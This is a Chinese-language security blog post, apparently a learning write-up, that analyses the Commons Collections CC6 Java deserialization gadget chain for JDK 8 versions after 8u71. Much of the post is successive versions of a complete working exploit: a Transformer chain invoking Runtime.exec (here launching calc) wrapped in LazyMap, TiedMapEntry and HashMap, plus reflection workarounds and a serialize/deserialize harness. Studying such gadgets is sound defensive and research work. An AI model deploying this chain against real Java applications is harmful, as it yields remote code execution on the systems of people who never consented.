在jdk8u71之前,CC1是能用的。在8u71之后,AnnotationInvocationHandler#readObject 逻辑发生改变,CC6正是一条支持jdk8高版本的gadget。

gadget图

跟着老哥整理了一下CC1两条路以及CC6的gadget图。

CC
分析

上回CC1—LazyMap讲到LazyMap#get方法

image-20220823132756796

我们通过LazyMap#decorate方法使factory=chainedTransformer就可以触发chainedTransformer#transform方法。

由于AnnotationInvocationHandler这条路走不了了,我们只能另辟蹊径,最终大佬找到了TiedMapEntry#getValue。

image-20220824194044429

而TiedMapEntry是能实例化的,令map=lazyMap,key的话我们先随便传一个字符串即可。

image-20220824194141124

目前exp为:

        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
                new ConstantTransformer(1),
        };
        ChainedTransformer c=new ChainedTransformer(transformers);

        HashMap map=new HashMap();
        Map lazyMap= LazyMap.decorate(map,new ConstantTransformer(c));
        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"Squirt1e");

而TiedMapEntry#getValue是由TiedMapEntry#hashCode触发,这就好办了,URLDNS那条链子就是用到了hashCode。

image-20220824194505416

此时exp为:

        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
                new ConstantTransformer(1),
        };
        ChainedTransformer c=new ChainedTransformer(transformers);

        HashMap map=new HashMap();
        Map lazyMap= LazyMap.decorate(map,new ConstantTransformer(c));
        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"jajaja");
        HashMap<Object,String> hashmap=new HashMap<Object,String>();
        hashmap.put(tiedMapEntry,"Squirt1e");

还记得URLDNS的朋友会记得一个坑,也就是hashmap.put也会执行hashCode方法。

image-20220824195806254

也就是说在序列化和反序列化之前就会触发hashCode从而导致提前RCE。这会影响我们的判断,因此最好是让他put的时候不要触发。

这很好解决,我们只要随意破坏链子其中一个节点,比如令Map lazyMap= LazyMap.decorate(map,new ConstantTransformer(1));之前放的是ChainedTransformer c,从而触发链式RCE。现在我们修改lazyMap,使它的成员变量factory变成一个new ConstantTransformer(1)自然就不会RCE。

        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
                new ConstantTransformer(1),
        };
        ChainedTransformer c=new ChainedTransformer(transformers);

        HashMap map=new HashMap();
        Map lazyMap= LazyMap.decorate(map,new ConstantTransformer(1));//先放进去一个触发不了的,避免序列化的时候触发

        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"Squirt1e");
        HashMap<Object,String> hashmap=new HashMap<Object,String>();
        hashmap.put(tiedMapEntry,"Squirt1e");

       // 将factory重新赋值为lazyMap从而触发factory.transform
        Class clazz=LazyMap.class;
        Field factory=clazz.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazyMap,c);

但显然这条链子打不通。

为了解决这个问题,debug断到LazyMap#get。

image-20220824200425348

可以看到反序列化时我们走不到if里面,同样是因为hashmap.put提前触发了get,执行了map.put;也就导致此时的map存在这个key。

这也很好解决,在put完之后map.remove(“Squirt1e”);删掉这个key即可。

或者令TiedMapEntry tiedMapEntry=new TiedMapEntry(map,”Squirt1e”);也就是说在put的时候不让他走到LazyMap#put,随后通过反射修改掉私有变量map也可以。不过也没啥大用,就图一乐。

    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException {

        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
                new ConstantTransformer(1),
        };
        ChainedTransformer c=new ChainedTransformer(transformers);

        HashMap map=new HashMap();
        Map lazyMap= LazyMap.decorate(map,new ConstantTransformer(1));//先放进去一个触发不了的,避免序列化的时候触发

        TiedMapEntry tiedMapEntry=new TiedMapEntry(map,"Squirt1e");
        HashMap<Object,String> hashmap=new HashMap<Object,String>();
        hashmap.put(tiedMapEntry,"Squirt1e");

        Class claz=TiedMapEntry.class;
        Field tiedMap=claz.getDeclaredField("map");
        tiedMap.setAccessible(true);
        tiedMap.set(tiedMapEntry,lazyMap);

        // 将factory重新赋值为lazyMap从而触发factory.transform
        Class clazz=LazyMap.class;
        Field factory=clazz.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazyMap,c);

        serialize(hashmap);
        unserialize();
    }

打通

image-20220824202059912

链子

由于比较简单,就不调试了。

HashMap#readobject
HashMap#hash
TiedMapEntry#getValue
LazyMap#get
ChainedTransformer#transform
InvokerTransformer#transform
参考资料
  1. https://space.bilibili.com/2142877265?spm_id_from=333.337.0.0 白日梦组长